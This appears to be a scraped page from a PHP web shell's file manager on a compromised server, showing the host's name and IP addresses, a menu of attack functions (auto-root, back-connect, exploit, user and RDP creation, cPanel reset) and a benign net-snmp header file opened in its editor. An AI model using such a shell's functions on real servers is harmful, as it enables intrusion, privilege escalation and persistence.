Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
net-snmp /
agent /
[ HOME SHELL ]
Name
Size
Permission
Action
util_funcs
[ DIR ]
drwxr-xr-x
agent_callbacks.h
801
B
-rw-r--r--
agent_handler.h
11.3
KB
-rw-r--r--
agent_index.h
1.49
KB
-rw-r--r--
agent_module_config.h
1.23
KB
-rw-r--r--
agent_read_config.h
1.19
KB
-rw-r--r--
agent_registry.h
5.86
KB
-rw-r--r--
agent_sysORTable.h
869
B
-rw-r--r--
agent_trap.h
2.37
KB
-rw-r--r--
all_helpers.h
1.19
KB
-rw-r--r--
auto_nlist.h
605
B
-rw-r--r--
baby_steps.h
3.4
KB
-rw-r--r--
bulk_to_next.h
563
B
-rw-r--r--
cache_handler.h
4.62
KB
-rw-r--r--
debug_handler.h
328
B
-rw-r--r--
ds_agent.h
3.77
KB
-rw-r--r--
instance.h
6.12
KB
-rw-r--r--
mfd.h
2.62
KB
-rw-r--r--
mib_module_config.h
34.89
KB
-rw-r--r--
mib_module_includes.h
14.06
KB
-rw-r--r--
mib_modules.h
428
B
-rw-r--r--
mode_end_call.h
871
B
-rw-r--r--
multiplexer.h
975
B
-rw-r--r--
net-snmp-agent-includes.h
756
B
-rw-r--r--
null.h
464
B
-rw-r--r--
old_api.h
1.39
KB
-rw-r--r--
read_only.h
540
B
-rw-r--r--
row_merge.h
1.32
KB
-rw-r--r--
scalar.h
783
B
-rw-r--r--
scalar_group.h
983
B
-rw-r--r--
serialize.h
600
B
-rw-r--r--
set_helper.h
542
B
-rw-r--r--
snmp_agent.h
11.89
KB
-rw-r--r--
snmp_get_statistic.h
836
B
-rw-r--r--
snmp_vars.h
4.58
KB
-rw-r--r--
stash_cache.h
1.4
KB
-rw-r--r--
stash_to_next.h
377
B
-rw-r--r--
struct.h
917
B
-rw-r--r--
sysORTable.h
2.4
KB
-rw-r--r--
table.h
7.34
KB
-rw-r--r--
table_array.h
5.33
KB
-rw-r--r--
table_container.h
3.96
KB
-rw-r--r--
table_data.h
5.47
KB
-rw-r--r--
table_dataset.h
7.73
KB
-rw-r--r--
table_iterator.h
6.76
KB
-rw-r--r--
table_tdata.h
6.54
KB
-rw-r--r--
util_funcs.h
3.24
KB
-rw-r--r--
var_struct.h
4.91
KB
-rw-r--r--
watcher.h
5.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : table_dataset.h
/* * table_iterator.h */ #ifndef _TABLE_DATA_SET_HANDLER_H_ #define _TABLE_DATA_SET_HANDLER_H_ #ifdef __cplusplus extern "C" { #endif /* * This helper is designed to completely automate the task of storing * tables of data within the agent that are not tied to external data * sources (like the kernel, hardware, or other processes, etc). IE, * all rows within a table are expected to be added manually using * functions found below. */ void netsnmp_init_table_dataset(void); #define TABLE_DATA_SET_NAME "netsnmp_table_data_set" /* * return SNMP_ERR_NOERROR or some SNMP specific protocol error id */ typedef int (Netsnmp_Value_Change_Ok) (char *old_value, size_t old_value_len, char *new_value, size_t new_value_len, void *mydata); /* * stored within a given row */ typedef struct netsnmp_table_data_set_storage_s { unsigned int column; /* * info about it? */ char writable; Netsnmp_Value_Change_Ok *change_ok_fn; void *my_change_data; /* * data actually stored */ u_char type; union { /* value of variable */ void *voidp; long *integer; u_char *string; oid *objid; u_char *bitstring; struct counter64 *counter64; #ifdef NETSNMP_WITH_OPAQUE_SPECIAL_TYPES float *floatVal; double *doubleVal; #endif /* NETSNMP_WITH_OPAQUE_SPECIAL_TYPES */ } data; u_long data_len; struct netsnmp_table_data_set_storage_s *next; } netsnmp_table_data_set_storage; typedef struct netsnmp_table_data_set_s { netsnmp_table_data *table; netsnmp_table_data_set_storage *default_row; int allow_creation; /* set to 1 to allow creation of new rows */ unsigned int rowstatus_column; } netsnmp_table_data_set; /* ============================ * DataSet API: Table maintenance * ============================ */ netsnmp_table_data_set *netsnmp_create_table_data_set(const char *); netsnmp_table_row *netsnmp_table_data_set_clone_row( netsnmp_table_row *row); void netsnmp_table_dataset_delete_all_data( netsnmp_table_data_set_storage *data); void netsnmp_table_dataset_delete_row(netsnmp_table_row *row); void netsnmp_table_dataset_add_row(netsnmp_table_data_set *table, netsnmp_table_row *row); void netsnmp_table_dataset_replace_row(netsnmp_table_data_set *table, netsnmp_table_row *origrow, netsnmp_table_row *newrow); void netsnmp_table_dataset_remove_row(netsnmp_table_data_set *table, netsnmp_table_row *row); void netsnmp_table_dataset_remove_and_delete_row(netsnmp_table_data_set *table, netsnmp_table_row *row); void netsnmp_delete_table_data_set(netsnmp_table_data_set *table_set); /* ============================ * DataSet API: Default row operations * ============================ */ /* * to set, add column, type, (writable) ? 1 : 0 */ /* * default value, if not NULL, is the default value used in row * creation. It is copied into the storage template (free your * calling argument). */ int netsnmp_table_set_add_default_row(netsnmp_table_data_set *, unsigned int, int, int, void *default_value, size_t default_value_len); void netsnmp_table_set_multi_add_default_row(netsnmp_table_data_set *, ...); /* ============================ * DataSet API: MIB maintenance * ============================ */ netsnmp_mib_handler *netsnmp_get_table_data_set_handler(netsnmp_table_data_set *); Netsnmp_Node_Handler netsnmp_table_data_set_helper_handler; int netsnmp_register_table_data_set(netsnmp_handler_registration *, netsnmp_table_data_set *, netsnmp_table_registration_info *); netsnmp_table_data_set *netsnmp_extract_table_data_set(netsnmp_request_info *request); netsnmp_table_data_set_storage *netsnmp_extract_table_data_set_column(netsnmp_request_info *, unsigned int); netsnmp_oid_stash_node ** netsnmp_table_dataset_get_or_create_stash(netsnmp_agent_request_info *ari, netsnmp_table_data_set *tds, netsnmp_table_request_info *tri); netsnmp_table_row * netsnmp_table_dataset_get_newrow(netsnmp_request_info *request, netsnmp_agent_request_info *reqinfo, int rootoid_len, netsnmp_table_data_set *datatable, netsnmp_table_request_info *table_info); /* ============================ * DataSet API: Config-based operations * ============================ */ void netsnmp_register_auto_data_table(netsnmp_table_data_set *table_set, char *registration_name); void netsnmp_unregister_auto_data_table(netsnmp_table_data_set *table_set, char *registration_name); void netsnmp_config_parse_table_set(const char *token, char *line); void netsnmp_config_parse_add_row( const char *token, char *line); /* ============================ * DataSet API: Row operations * ============================ */ netsnmp_table_row *netsnmp_table_data_set_get_first_row(netsnmp_table_data_set *table); netsnmp_table_row *netsnmp_table_data_set_get_next_row( netsnmp_table_data_set *table, netsnmp_table_row *row); int netsnmp_table_set_num_rows(netsnmp_table_data_set *table); /* ============================ * DataSet API: Column operations * ============================ */ netsnmp_table_data_set_storage *netsnmp_table_data_set_find_column(netsnmp_table_data_set_storage *, unsigned int); int netsnmp_mark_row_column_writable( netsnmp_table_row *row, int column, int writable); int netsnmp_set_row_column( netsnmp_table_row *, unsigned int, int, const void *, size_t); /* ============================ * DataSet API: Index operations * ============================ */ void netsnmp_table_dataset_add_index(netsnmp_table_data_set *table, u_char type); void netsnmp_table_set_add_indexes(netsnmp_table_data_set *tset, ...); #ifdef __cplusplus } #endif #define netsnmp_table_row_add_column(row, type, value, value_len) snmp_varlist_add_variable(&row->indexes, NULL, 0, type, (u_char *) value, value_len) #endif /* _TABLE_DATA_SET_HANDLER_H_ */
Close